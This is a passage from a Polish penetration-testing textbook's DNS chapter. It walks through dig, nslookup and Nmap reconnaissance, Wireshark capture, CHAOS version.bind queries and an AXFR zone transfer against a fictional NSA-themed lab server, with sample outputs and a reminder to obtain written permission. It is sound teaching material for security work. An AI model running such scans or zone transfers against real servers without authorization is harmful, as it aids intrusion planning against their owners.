Inna metoda identyfikowania serwerów nazw wymaga użycia narzędzia dig. Można je wykorzystać
do pobrania informacji o serwerze SOA wybranej domeny. Pamiętaj, że serwer SOA jest podsta-
wowym i zarządzającym serwerem nazw dla danej strefy. W przypadku domeny google.co.uk
odpowiednie polecenie wygląda tak:
dig google.co.uk SOA

Otrzymana odpowiedź powinna wyglądać mniej więcej tak:

; <<>> DiG 9.10.3-P4-Debian <<>> google.co.uk SOA
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50559
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;google.co.uk. IN SOA

;; ANSWER SECTION:
google.co.uk. 59 IN SOA ns1.google.com. dns-admin
.google.com . 225139051 900 900 1800 60

;; Query time: 71 msec

;; SERVER: 192.168.40.47#53(192.168.40.47)
;; WHEN: Wed Dec 12 13:36:51 GMT 2018
;; MSG SIZE rcvd: 101

Najważniejsze tutaj jest to, że w części ANSWER SECTION został wypisany adres serwera SOA
— ns1.google.com. Tak wygląda nazwa hosta głównego serwera nazw firmy Google. Adres IP tego
serwera można uzyskać za pomocą poniższego polecenia:

3681988c430c7fe1e8567c4e2f281f7b
3
128 Rozdział 5  System DNS

dig ns1.google.com
; <<>> DiG 9.10.3-P4-Debian <<>> ns1.google.com.
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64267
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;ns1.google.com. IN A

;; ANSWER SECTION:
ns1.google.com. 21599 IN A 216.239.32.10

;; Query time: 59 msec

;; SERVER: 192.168.40.47#53(192.168.40.47)
;; WHEN: Wed Dec 12 13:37:19 GMT 2018
;; MSG SIZE rcvd: 59

Teraz mamy również adres IP głównego serwera nazw firmy Google. Google jest przykładem
wielkiego przedsiębiorstwa z własnymi serwerami nazw. Często okazuje się jednak, że serwer SOA
dla domeny należącej do mniejszych organizacji wcale nie jest częścią tej domeny. Oto przykład:
dig hacker.house soa
; <<>> DiG 9.10.3-P4-Debian <<>> hacker.house soa
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3706
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;hacker.house. IN SOA

;; ANSWER SECTION:
hacker.house. 3599 IN SOA ns1.livedns.co.uk. admin.
hacker.house. 1542655175 10800 3600 604800 3600

;; Query time: 52 msec

;; SERVER: 192.168.40.47#53(192.168.40.47)
;; WHEN: Wed Dec 12 13:52:31 GMT 2018
;; MSG SIZE rcvd: 100

W tym przypadku serwer SOA oraz główny serwer nazw to ns1.livedns.co.uk. Ten serwer nazw
należy do innej firmy, w tym przypadku do firmy hostingowej, co bardzo często zdarza się w przy-
padku mniejszych organizacji. Podczas pracy dla klienta musisz pamiętać, że czasami serwer nazw
nie będzie objęty zakresem prowadzonych prac, szczególnie jeżeli taki serwer nie należy do Two-
jego klienta. Takie szczegóły powinny zostać wyjaśnione jeszcze przed rozpoczęciem prac, choć jak
to w życiu bywa, nierzadko klienci nawet nie wiedzą o tym, gdzie znajdują się używane przez nich
serwery nazw. W tej sytuacji, podobnie jak i przy wszystkich innych działaniach hakerskich, należy
postępować ostrożnie i zgodnie ze zdrowym rozsądkiem.

3681988c430c7fe1e8567c4e2f281f7b
3
Hakowanie wirtualnego serwera nazw 129

Pamiętasz jeszcze, że serwery BIND przechowują adresy e-mail w plikach stref? Widoczny wy-
żej adres admin.hacker.house nie jest tak naprawdę adresem hosta, ale adresem e-mail. Jak widać,
zapisy serwera BIND (ale i całego systemu DNS) nie zawsze są całkiem czytelne. Ale tego chyba
zaczynasz się już domyślać.

Hakowanie wirtualnego serwera nazw

Po zidentyfikowaniu serwera nazw można przystąpić do skanowania i sondowania, aby w ten spo-
sób uzyskać więcej przydatnych informacji, a może nawet wykryć różne podatności. Teraz poka-
żemy kilka kroków, wykorzystując do tego serwer wirtualny. Możesz spróbować wykonać te same
działania na swoim wirtualnym serwerze nazw albo na słabo zabezpieczonym serwerze udostęp-
nianym na potrzeby tej książki. W obu przypadkach musisz mieć pewność, że z maszyny wirtualnej
Kali Linux możesz uzyskać dostęp do wirtualnego serwera. W tym celu możesz wysłać do serwera
komunikaty ping i sprawdzić, czy uzyskasz na nie odpowiedź.
Serwer użyty w tym rozdziale do celów demonstracyjnych został zaprojektowany tak, żeby przy-
pominał serwer należący do amerykańskiej agencji NSA. Jest on jednym z laboratoriów udostęp-
nianych w ramach naszego kursu praktycznego hakowania. Na otrzymywane zapytania serwer zwraca
adresy IP właściwe dla sieci wewnętrznej, a nie dla rzeczywistych serwerów działających w interne-
cie. Identyczne wyniki powinny pojawiać się, jeżeli korzystasz z laboratorium dołączonego do tej
książki. Jedyna różnica może wynikać z innych otwartych portów. Podobnie mogą różnić się też
wyniki zwracane przez inne narzędzia. W przypadku odpytywania serwera nazw swojego klienta
w odpowiedziach zobaczysz zarówno publiczne adresy IP, jak i adresy z sieci wewnętrznej.
Dowolne informacje, jakie tutaj znajdziesz, mogą się przydać na późniejszych etapach, dlatego
warto je sobie zapisać. Do takich informacji można zaliczyć nazwy oprogramowania, ich typy
i wersje, nazwy użytkowników i ich hasła oraz wiele innych. Jak widać, nadal szukamy tych samych
rzeczy, których poszukiwaliśmy w trakcie fazy OSINT.

KILKA SŁÓW O EXPLOITACH DNS

W tym rozdziale będziemy prezentować przykłady wykorzystujące zarówno rzeczywisty system

nazw domen, jak i wirtualny serwer nazw. Wszystkie ataki i exploity będą przeprowadzane na
wirtualnym serwerze nazw w nadziei, że w końcu uda się go przełamać. Upewnij się, że nie uru-
chamiasz tych ataków przeciwko rzeczywistym serwerom nazw bez uprzedniego uzyskania
pisemnej zgody od ich właścicieli.

Skanowanie portów za pomocą narzędzia Nmap

Gdy masz już pewność, że Twój cel działa i jest dostępny, możesz przeprowadzić pierwszy rekonesans.
Na początek spróbujemy prostego skanowania portów za pomocą narzędzia Nmap. Z tego narzędzia
będziemy korzystać częściej, a w dalszej części tej książki będziemy prezentować bardziej zaawan-
sowane metody jego używania. Na razie wystarczy podać mu adres IP docelowego serwera nazw.
nmap <adresIP>

3681988c430c7fe1e8567c4e2f281f7b
3
130 Rozdział 5  System DNS

Od tego miejsca będziemy zakładać, że nasz serwer nazw dostępny jest pod adresem IP
192.168.56.101. W tych warunkach program nmap można uruchomić poniższym poleceniem:
nmap 192.168.56.101

Poniżej przedstawiam oczekiwaną odpowiedź uruchomionego właśnie programu. Pamiętaj,

że laboratoria dołączane do książki mogą mieć więcej otwartych portów, ponieważ działa w nich
więcej systemów niż tylko DNS.
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-17 11:53 GMT
Nmap scan report for 192.168.48.101
Host is up (0.000071s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
53/tcp open domain
MAC Address: 08:00:27:F3:FA:D3 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds

root@kali:~#

W wynikach powinien pojawić się jeden otwarty port (numer 53), co jest cechą charaktery-
styczną dla serwera nazw. W niektórych przypadkach może się jednak okazać, że takie skanowanie
nie wykryje żadnego otwartego portu. Domyślnie program Nmap wyszukuje wyłącznie usługi TCP,
dlatego dobrze jest wtedy uruchomić kolejny skan w poszukiwaniu usług korzystających z proto-
kołu UDP, ponieważ system DNS w swoim działaniu używa właśnie tego protokołu. Można zatem
oczekiwać, że na serwerze nazw będzie działać przynajmniej jedna usługa UDP.
nmap -sU 192.168.48.101

Możesz zauważyć, że takie skanowanie zajmuje znacznie więcej czasu w porównaniu ze ska-
nowaniem portów TCP. Wynika to z podstawowych różnic między tymi dwoma protokołami.
Protokół UDP nie udostępnia stronie wysyłającej (w tym przypadku programowi Nmap) żadnych
mechanizmów kontrolowania tego, czy strona odbierająca rzeczywiście otrzymała wysłany komu-
nikat. Oznacza to, że Nmap musi poczekać znacznie więcej czasu na odpowiedź (o ile taka w ogóle
się pojawi), niż ma to miejsce w przypadku skanowania portów TCP. Co więcej, Nmap ponownie
wysyła pakiety, zakładając, że mogą one zostać utracone w trakcie przesyłania w sieci. Zamiast ska-
nować wszystkie dostępne porty UDP (a tak robi Nmap, jeżeli nie podamy mu numeru portu) lepiej
zatem sprawdzić wyłącznie port UDP 53, który powszechnie jest używany przez system DNS.
Opcja -sU oznacza skanowanie protokołu UDP, natomiast opcja -p pozwala na podanie numeru
portu. Skanowanie portów UDP może dawać różne wyniki zależnie od ustawień zapór sieciowych
i filtrowania ICMP. Na podobnej zasadzie mogą się pojawiać różnice w wynikach skanów portów
TCP, jeżeli zostaną one uruchomione bez opcji -Pn, która wyłącza próby użycia protokołu ICMP.
Można zatem natknąć się na serwery udostępniające pewną witrynę WWW, a których nie da się
przeskanować, ponieważ z powodu blokowania żądań ICMP taki serwer dla programu Nmap wy-
gląda na wyłączony. Po zastosowaniu opcji -Pn program Nmap zaczyna traktować wskazany serwer
jako aktywny bez prób wysyłania żądań ICMP.
Filtrowanie protokołu ICMP znacznie mocniej wpływa na skanowanie portów UDP, ponieważ
na próby uzyskania dostępu do zamkniętego portu UDP serwery mogą odpowiadać pakietem
ICMP Typ 3 (host nieosiągalny). Takie działanie bardzo zwiększa szybkość skanowania i pozwala
na skuteczniejsze wyszukiwanie otwartych portów. W przypadku, gdy pakiety ICMP są blokowane

3681988c430c7fe1e8567c4e2f281f7b
3
Wykopywanie informacji 131

przez zaporę sieciową, nie mogą one zostać dostarczone do programu Nmap, przez co nie jest on
w stanie jednoznacznie stwierdzić, czy dany port jest otwarty, czy zamknięty. Skany portów UDP
najlepiej jest przeprowadzać w ramach analizy protokołu podczas prób komunikowania się z otwar-
tym serwerem i sprawdzania w ten sposób, czy on działa, czy też nie.
Z powodu tego problemu bardzo często porty UDP są pomijane podczas badania sieci klienta.
To właśnie dlatego dobrze jest zapoznać się z działaniem różnych protokołów sieciowych, takich
jak TCP, UDP i ICMP. Dokładniejsze sprawdzenie działania wybranego protokołu umożliwia na-
rzędzie Hping3, które pozwala na ćwiczenia z ręcznego testowania otwartych portów w różnych
hostach. Obsługuje ono protokoły TCP i UDP, umożliwiając obserwowanie opisywanych tu za-
chowań. Na razie wykorzystajmy jednak program Nmap do przeprowadzenia skanowania portu
za pomocą poniższego polecenia:
nmap -sU <AdresIP> -p 53

Wynikiem takiego skanowania powinna być informacja, że pod wskazanym adresem działa
serwer DNS, w szczególności korzystający z portu 53 protokołów TCP i UDP. Często zdarza się
też, że serwer nazw działa wyłącznie za pośrednictwem portu UDP 53. Poniższej prezentujemy
wyniki dla wirtualnego serwera nazw. Zauważ, że w tym przypadku skanowany był port UDP 53:
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-17 12:06 GMT
Nmap scan report for 192.168.48.101
Host is up (0.00036s latency).

PORT STATE SERVICE

53/udp open domain
MAC Address: 08:00:27:F3:FA:D3 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

Podczas prób oceny wybranego hosta to właśnie skanowanie za pomocą programu Nmap bę-
dzie pierwszym wykonywanym krokiem. W kolejnych rozdziałach zobaczymy hosty z wieloma
otwartymi portami, za którymi działać będą różne usługi. Jeżeli przeskanujesz laboratoria przygo-
towane na potrzeby tej książki, to na pewno zobaczysz znacznie dłuższą listę otwartych portów.
Po wykonaniu tego wstępnego kroku każda z wykrytych usług powinna zostać dokładniej spraw-
dzona w celu uzyskania większej ilości informacji na jej temat. Na razie musimy zająć się tylko
jednym serwerem, czyli serwerem „domenowym” działającym za portem 53 w protokole TCP
i UDP. A właściwie czym jest taki serwer domenowy? Jak można zdobyć na jego temat więcej
informacji? Serwerem domenowym jest oprogramowanie działające na danym komputerze, które
odbiera przychodzące żądania. W wielu przypadkach będzie to serwer BIND.

Wykopywanie informacji
Programu Dig można użyć do odpytywania serwera nazw, tak jak zrobiliśmy to wcześniej, gdy
wysyłaliśmy zapytania do rzeczywistego serwera nazw, aby uzyskać dane serwera SOA dla
domeny google.com.
Jeżeli program Dig nie otrzyma instrukcji odpytywania konkretnego serwera nazw, to będzie
próbował korzystać z serwerów wymienionych w pliku /etc/resolv.conf. Jeżeli nie uda się w ten

3681988c430c7fe1e8567c4e2f281f7b
3
132 Rozdział 5  System DNS

sposób uzyskać adresów żadnych działających serwerów nazw, to program Dig wyśle zapytanie
pod adresem localhost.
Za pomocą poniższej składni można nakazać programowi Dig wysłanie zapytania do określo-
nego serwera nazw:
dig @<SerwerNazw> <NazwaDomeny>

Jeżeli chcesz skorzystać z wirtualnego serwera, użyj tego polecenia:

dig @192.168.56.101 nsa.gov

W ten sposób zapytasz wirtualny serwer nazw o dane domeny nsa.gov, a w odpowiedzi uzyskasz
poniższe informacje:
; <<>> DiG 9.11.5-1-Debian <<>> @192.168.56.101 nsa.gov
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44735
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;nsa.gov. IN A

;; AUTHORITY SECTION:
nsa.gov. 600 IN SOA ns1.nsa.gov. root.nsa.gov.
2007010401 3600 600 86400 600

;; Query time: 0 msec

;; SERVER: 192.168.56.101#53(192.168.56.101)
;; WHEN: Mon Dec 17 11:37:48 GMT 2018
;; MSG SIZE rcvd: 81

Jak widać, program wypisuje też sekcję QUESTION SECTION zawierającą otrzymane zapytanie oraz
sekcję AUTHORITY SECTION, ale nie znajdziemy tu sekcji ANSWER SECTION. W jednym z wierszy
(SERVER) widoczna jest też informacja o tym, do którego serwera wysłano zapytanie. W tym przy-
padku był to serwer 192.168.56.101#53 (jak widać, podawany jest również numer portu). Serwer
nazw nie przesłał nam odpowiedzi na zapytanie, ale podał nazwę serwera odpowiedzialnego za
obsługę zapytań dotyczących domeny nsa.gov. Jak można się domyślać, w tym przypadku chodzi
o serwer ns1.nsa.gov. Znajdująca się w odpowiedzi sekcja AUTHORITY SECTION przekazuje nam te
informacje w formie tak zwanego lepkiego rekordu (ang. glue record). W ten sposób system DNS
zapobiega powstawaniu cyklicznych zależności.
W ten sposób ustaliliśmy, jaki serwer jest odpowiedzialny za obsługę domeny nsa.gov, a zatem
możemy użyć programu Dig, aby poznać adres IP hosta tej domeny.
dig @<AdresIP> ns1.nsa.gov

Tym razem w odpowiedzi dostaniemy całe mnóstwo informacji.

3681988c430c7fe1e8567c4e2f281f7b
3
Wykopywanie informacji 133

; <<>> DiG 9.11.5-1-Debian <<>> @192.168.56.101 ns1.nsa.gov

; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23276
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;ns1.nsa.gov. IN A

;; ANSWER SECTION:
ns1.nsa.gov. 3600 IN A 10.1.0.50

;; AUTHORITY SECTION:
nsa.gov. 3600 IN NS ns2.nsa.gov.
nsa.gov. 3600 IN NS ns1.nsa.gov.

;; ADDITIONAL SECTION:
ns2.nsa.gov. 3600 IN A 10.1.0.51

;; Query time: 0 msec

;; SERVER: 192.168.56.101#53(192.168.56.101)
;; WHEN: Mon Dec 17 12:41:43 GMT 2018
;; MSG SIZE rcvd: 104

Jak widać, tym razem w odpowiedzi znajduje się sekcja ANSWER SECTION, która zawiera osta-
teczną odpowiedź na nasze zapytanie. Adresem IP serwera ns1.nsa.gov jest 10.1.0.50. W tym
przypadku jest to wewnętrzny adres IP, ponieważ działamy w fikcyjnym, wirtualnym środowisku.
W rzeczywistości adres IP serwera musi być adresem zewnętrznym, dostępnym w internecie. I tak
zatoczyliśmy koło, nadal nie poznając adresu IP dla domeny nsa.gov, ale przy okazji znaleźliśmy
jeszcze jeden serwer nazw — ns2.nsa.gov.

Wybieranie rekordów zasobów

Programu Dig można też użyć do wskazania interesującego nas rekordu zasobów. Domyślnie Dig
poszukuje rekordu A, ale za pomocą poniższej składni można nakazać mu poszukiwanie dowol-
nego typu rekordu obsługiwanego przez serwery BIND9:
dig @<SerwerNazw> <NazwaDomeny> <TypRekordu>

Jeżeli chcesz znaleźć serwer pocztowy, to za pomocą tego polecenia możesz poszukiwać rekordu
MX (Mail Exchange — wymiana poczty):
dig @192.168.56.101 nsa.gov MX

W efekcie oprócz wszystkich innych informacji wypisywanych przez Dig tym razem otrzy-
mamy też informacje o serwerach pocztowych.
;; ANSWER SECTION:
nsa.gov. 3600 IN MX 10 mail1.nsa.gov.
nsa.gov. 3600 IN MX 20 mail2.nsa.gov.

3681988c430c7fe1e8567c4e2f281f7b
3
134 Rozdział 5  System DNS

NSLOOKUP

Nslookup to narzędzie podobne do Dig, za pomocą którego można uzyskać te same informacje.
Można je uruchomić, wpisując w wierszu poleceń nslookup. Program wyświetli wtedy własny
wiersz poleceń, taki jak poniżej:
root@kali:~# nslookup
>

Opcje programu można ustalać w ten sposób:

set querytype=SOA

Ta opcja nakazuje programowi wyszukiwać serwery SOA dla danej domeny. Teraz można już
podać nazwę interesującej nas domeny. Na przykład:
google.com
> set querytype=soa
> google.com
Server: 192.168.40.47
Address: 192.168.40.47#53

Non-authoritative answer:
google.com
origin = ns1.google.com
mail addr = dns-admin.google.com
serial = 225790204
refresh = 900
retry = 900
expire = 1800
minimum = 60

Authoritative answers can be found from:

>

Nslookup wykorzystał domyślne ustawienia systemowe i wysłał zapytanie do routera autora

książki, aby uzyskać odpowiedź, którą jak można się domyślać, jest ns1.google.com. Oczywiście
program można też uruchomić, wprowadzając pojedyncze polecenie, takie jak nslookup google.com.

ANALIZA PAKIETÓW ZA POMOCĄ PROGRAMU WIRESHARK

Często przydaje się wiedza o tym, jak dana technologia lub oprogramowanie działa na niskim
poziomie. Wiele działań wykonywanych przez hakerów związanych jest z pakietami przesyła-
nymi w sieci. Czasami można uzyskać interesujące wyniki przez manipulowanie tymi pakietami
za pomocą takich narzędzi jak Hping3. Dobrze jest zatem mieć pojęcie o tym, czym jest pakiet
i jak wygląda zapytanie DNS. Jednym ze sposobów uzyskania takich informacji jest użycie na-
rzędzia o nazwie Wireshark, które jest domyślnie instalowane w systemie Kali Linux. Ten pro-
gram służy do przechwytywania i analizy pakietów sieciowych. Oznacza to, że umożliwia on
przeglądanie zawartości pakietów przesyłanych przez sieć.
Wireshark umożliwia przejrzenie pakietu w „surowej” postaci, a dodatkowo opisuje funkcje
wypełniane przez poszczególne części pakietu. Aby przechwycić pakiet, wystarczy otworzyć
program Wireshark w maszynie wirtualnej Kali Linux i nakazać mu nasłuchiwanie na wskazanym
interfejsie sieciowym. Jeżeli teraz wyślesz zapytanie DNS za pomocą programu Dig, to powinno
ono zostać przechwycone i wyświetlone razem z odpowiedzią, tak jak na rysunku 5.3.

3681988c430c7fe1e8567c4e2f281f7b
3
Wykopywanie informacji 135

Rysunek 5.3. Zapytanie DNS przechwycone w programie Wireshark

W górnej części rysunku można zobaczyć adres źródłowy i docelowy, a także nazwę protokołu
danego pakietu. To zapytanie zostało wysłane z jednej maszyny wirtualnej do drugiej. W dolnym
pasku widoczny jest wiersz z informacją „Domain Name System (query)”. Wyróżnione na ry-
sunku liczby szesnastkowe to część pakietu powiązana z zapytaniem DNS. Pierwsza część pa-
kietu (niewyróżniona) zawiera informacje dla pozostałych warstw modelu OSI, czyli dla warstwy
transportowej, sieci i łącza danych. Programu Wireshark można użyć też do analizowania tych
części pakietu, ale to wykracza już poza zakres tego rozdziału. W części pakietu związanej z zapy-
taniem DNS można zobaczyć, że Wireshark dla naszej wygody „rozkłada” pakiet na części. Wyświe-
tlane są znaczniki poszczególnych opcji, takie jak wymóg wykonywania zapytań rekursywnych.
Na rysunku 5.4 można zobaczyć odpowiedź na wcześniejsze zapytanie prezentowane przez
Wireshark. Widać na nim, że pakiet odpowiedzi jest bardzo duży, zawiera potwierdzenie otrzyma-
nego zapytania oraz wiele włączonych i wyłączonych znaczników. Zwróć uwagę na identyfikator
transakcji znajdujący się zarówno w pakiecie zapytania, jak i w pakiecie odpowiedzi — 0x4fa3.
Zwróć też uwagę na port docelowy (UDP 51200). Port docelowy podawany jest w jednej
z części pakietu UDP i zmienia się przy każdym żądaniu. Zarówno numer portu, jak i identyfi-
kator transakcji muszą być jednakowe w zapytaniu i odpowiedzi. Oznacza to, że chcąc przechwycić
i zmodyfikować zapytanie DNS, musisz być w stanie wyszukać te informacje, aby właściwie odpo-
wiedzieć na zapytanie. Gdy odpowiedź przychodzi od serwera nazw, zapisany w niej port doce-
lowy musi zgadzać się z portem w zapytaniu przygotowanym przez klienta. Jedynie taka odpo-
wiedź zostanie przez klienta zaakceptowana.

3681988c430c7fe1e8567c4e2f281f7b
3
136 Rozdział 5  System DNS

Rysunek 5.4. Odpowiedź DNS przechwycona przez Wireshark

CHAOS ujawnia informacje

Serwery nazw DNS można też poprosić o podanie typu i wersji oprogramowania. Takie zapytania
nie zawsze działają, ale jeżeli serwer został niepoprawnie skonfigurowany, to może ujawnić infor-
macje pozwalające na wykrycie różnych podatności.
Bardzo interesującą cechą oprogramowania BIND jest to, że zwykle obsługuje ono zapytania
typu CHAOSNET związane ze starym typem sieci z czasów ARPANET, czyli jeszcze przed powstaniem
internetu, a nawet przed zaprojektowaniem protokołu IP. W tamtych czasach te zapytania używane
były do pobierania informacji o komputerze, ale z czasem ich zastosowanie zostało zmienione i teraz
umożliwia pobieranie informacji o oprogramowaniu serwera.
Zapytania, jakie uruchamialiśmy do tej pory, domyślnie korzystały z klasy IN (czyli klasy Internet),
ale czemu nie mielibyśmy spróbować przygotować zapytania klasy CH (czyli CHAOS). Klasa CHAOS
używana jest przez serwery BIND do przechowywania informacji o sobie. Można ją zatem trakto-
wać jak klasę metadanych. W tym przypadku nie wysyłamy zapytania do systemu nazw domen, ale
kierujemy je do konkretnej usługi BIND działającej na wskazanym serwerze. Takie zapytania przy-
bierają formę nazw domen, z tym że domeną najwyższego poziomu zawsze jest domena .bind.

3681988c430c7fe1e8567c4e2f281f7b
3
CHAOS ujawnia informacje 137

W odpowiedzi na takie zapytania zawsze zwracane są rekordy typu TXT (tekst). Za pomocą poniż-
szej składni można wysłać do serwera BIND zapytanie klasy CHAOS:
dig @<NazwaSerwera> <Klasa> <NazwaDomeny> <TypRekordu>

Oto przykład takiego polecenia:

dig @192.168.56.104 chaos version.bind txt

Odpowiedź na to zapytanie jest bardzo podobna do tych, które widzieliśmy już wcześniej, ale
zwróć uwagę na sekcję ANSWER SECTION:
; <<>> DiG 9.11.5-1-Debian <<>> @192.168.56.104 chaos version.bind txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12199
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;version.bind. CH TXT

;; ANSWER SECTION:
version.bind. 0 CH TXT "9.8.1"

;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.

;; Query time: 1 msec

;; SERVER: 192.168.56.104#53(192.168.56.104)
;; WHEN: Mon Dec 17 15:11:43 GMT 2018
;; MSG SIZE rcvd: 73

Teraz znamy już numer wersji usługi BIND działającej na tym serwerze. W tym przypadku jest
to numer 9.8.1. Tę informację można wykorzystać do wypróbowania znanych podatności tej wersji
usługi. W ten sam sposób można też uzyskać inne informacje. Jak sądzisz, jakie działanie mają
poniższe polecenia?
dig @<NazwaSerwera> chaos hostname.bind TXT
dig @<NazwaSerwera> chaos authors.bind TXT
dig @<NazwaSerwera> chaos ID.server TXT

Przy odrobinie szczęścia tych poleceń można użyć do: (a) poznania lokalnej nazwy hosta wska-
zanego serwera, (b) wypisania nazwisk autorów odpowiedzialnych za powstanie tej wersji oprogra-
mowania BIND działającego na tym hoście oraz (c) uzyskania informacji o wewnętrznych identy-
fikatorach. To bardzo przydatne informacje, ponieważ gdyby administrator systemu zablokował
możliwość uzyskania numeru wersji oprogramowania serwera, ten można by wywnioskować na
podstawie listy autorów! Te dane zapisane są w rekordach tekstowych, a ludzie czasami wyko-
rzystują je do zapisywania notatek dla siebie lub kolegów. Czasami można zatem znaleźć ciekawe
informacje w różnych rekordach TXT. Z tych rekordów korzystają również maszyny. Przykładem
może być tutaj rekord tworzony i używany przez funkcję SPF (Sender Policy Framework) działającą
na serwerach mail1.nsa.gov i mail2.nsa.gov, która definiuje, kto może, a kto nie może wysyłać
pocztę za pomocą tego serwera.

3681988c430c7fe1e8567c4e2f281f7b
3
138 Rozdział 5  System DNS

Wszelkie informacje uzyskane za pomocą omawianych tu metod powinny zostać

zapisane, aby można było je wykorzystać później do wyszukiwania znanych podatności
i exploitów.

Żądania transferu strefy

Żądania transferu strefy (ang. zone transfer request) są metodą kopiowania pliku strefy DNS z jed-
nej strefy do innej. Używa się ich na przykład wtedy, gdy firma zmienia dostawcę usług hostingo-
wych i musi przenieść swoją konfigurację DNS z jednego serwera na inny. Aby mógł wykonać taką
transakcję, system DNS wymaga zastosowania połączeniowego i stabilniejszego protokołu TCP.
Wcześniej użyliśmy już programu Nmap, aby ustalić, że na naszym serwerze jest otwarty port 53
protokołów TCP i UDP. Gdy zauważysz otwarty port 53 TCP, to istnieje duża szansa na powodze-
nie wykonania żądania transferu strefy i skopiowania rekordów zapisanych na tym serwerze. Jeżeli
port 53 TCP nie jest otwarty, to nie ma nawet sensu próbować wykonać tę operację, ponieważ nie
działa ona w protokole UDP.
Żaden haker nie będzie tak naprawdę przenosił rekordów na inny serwer. Ale każdy będzie
bardzo zainteresowany ich zawartością. Używając w zapytaniu specjalnego rekordu AXFR, możemy
zażądać podania wszystkich rekordów danej strefy. Co prawda nie ma pewności, że takie żądanie
zostanie obsłużone, ale jeżeli uzyskasz na nie odpowiedź, to możesz w niej znaleźć różne wrażliwe
informacje. Aby wysłać takie zapytanie, możesz użyć poniższego polecenia:
dig @192.168.56.101 AXFR nsa.gov

Oczywiście w przypadku naszego serwera takie żądanie zostanie obsłużone, przez co otrzy-
mamy całkiem sporo ciekawych informacji:
; <<>> DiG 9.11.5-1-Debian <<>> @192.168.56.101 in nsa.gov axfr
; (1 server found)
;; global options: +cmd
nsa.gov. 3600 IN SOA ns1.nsa.gov. root.nsa.gov. 2007010401 3600 600 86400 600
nsa.gov. 3600 IN NS ns1.nsa.gov.
nsa.gov. 3600 IN NS ns2.nsa.gov.
nsa.gov. 3600 IN MX 10 mail1.nsa.gov.
nsa.gov. 3600 IN MX 20 mail2.nsa.gov.
fedora.nsa.gov. 3600 IN TXT "The black sparrow password"
fedora.nsa.gov. 3600 IN AAAA fd7f:bad6:99f2::1337
fedora.nsa.gov. 3600 IN A 10.1.0.80
firewall.nsa.gov. 3600 IN A 10.1.0.105
fw.nsa.gov. 3600 IN A 10.1.0.102
mail1.nsa.gov. 3600 IN TXT "v=spf1 a mx ip4:10.1.0.25
~all"
mail1.nsa.gov. 3600 IN A 10.1.0.25
mail2.nsa.gov. 3600 IN TXT "v=spf1 a mx ip4:10.1.0.26
~all"
mail2.nsa.gov. 3600 IN A 10.1.0.26
ns1.nsa.gov. 3600 IN A 10.1.0.50
ns2.nsa.gov. 3600 IN A 10.1.0.51
prism.nsa.gov. 3600 IN A 172.16.40.1
prism6.nsa.gov. 3600 IN AAAA ::1
sigint.nsa.gov. 3600 IN A 10.1.0.101
snowden.nsa.gov. 3600 IN A 172.16.40.1

3681988c430c7fe1e8567c4e2f281f7b
3
Narzędzia do gromadzenia informacji 139

vpn.nsa.gov. 3600 IN A 10.1.0.103

web.nsa.gov. 3600 IN CNAME fedora.nsa.gov.
webmail.nsa.gov. 3600 IN A 10.1.0.104
www.nsa.gov. 3600 IN CNAME fedora.nsa.gov.
xkeyscore.nsa.gov. 3600 IN TXT "knock twice to enter"
xkeyscore.nsa.gov. 3600 IN A 10.1.0.100
nsa.gov. 3600 IN SOA ns1.nsa.gov. root.nsa.gov.
2007010401 3600 600 86400 600
;; Query time: 0 msec
;; SERVER: 192.168.56.101#53(192.168.56.101)
;; WHEN: Mon Dec 17 15:37:25 GMT 2018
;; XFR size: 27 records (messages 1, bytes 709)

W tej odpowiedzi znalazło się wiele różnych nazw hostów i ich adresów IP. Widać wśród nich
wspominane wcześniej rekordy SPF. Można je też uzyskać, żądając przekazania rekordów TXT dla
każdego z hostów pocztowych. Oprócz tego można też zobaczyć kilka rekordów TXT, które niemal
na pewno zostały tu wpisane przez człowieka. Może chodzi o wskazówki dotyczące hasła? Mimo
że pomysł poszukiwania hasła w ten sposób może wydawać się zabawny, to jednak czasem zdarzają
się takie przypadki. Dlatego zawsze warto poszukiwać takich drobnych błędów i dopisywać znale-
zione informacje do swoich notatek. Lista hostów zwracanych przez to zapytanie DNS powinna
teraz uzupełnić naszą listę potencjalnych celów ataku. W kolejnym kroku trzeba też wykonać za-
pytania DNS, aby uzupełnić listę nazw hostów o adresy IP.

Narzędzia do gromadzenia informacji

Jeżeli Ci się nie poszczęściło i nie udało się zrealizować żądania transferu strefy, aby za jednym
